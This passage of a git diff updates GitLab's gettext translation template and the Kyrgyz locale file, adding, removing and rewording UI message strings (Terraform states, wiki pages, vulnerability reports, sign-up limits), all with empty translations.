msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ky_KG/gitlab.po b/locale/ky_KG/gitlab.po
index 42cb361700b..e482d3ed192 100644
--- a/locale/ky_KG/gitlab.po
+++ b/locale/ky_KG/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ky\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:42\n"
+"PO-Revision-Date: 2020-12-03 08:10\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
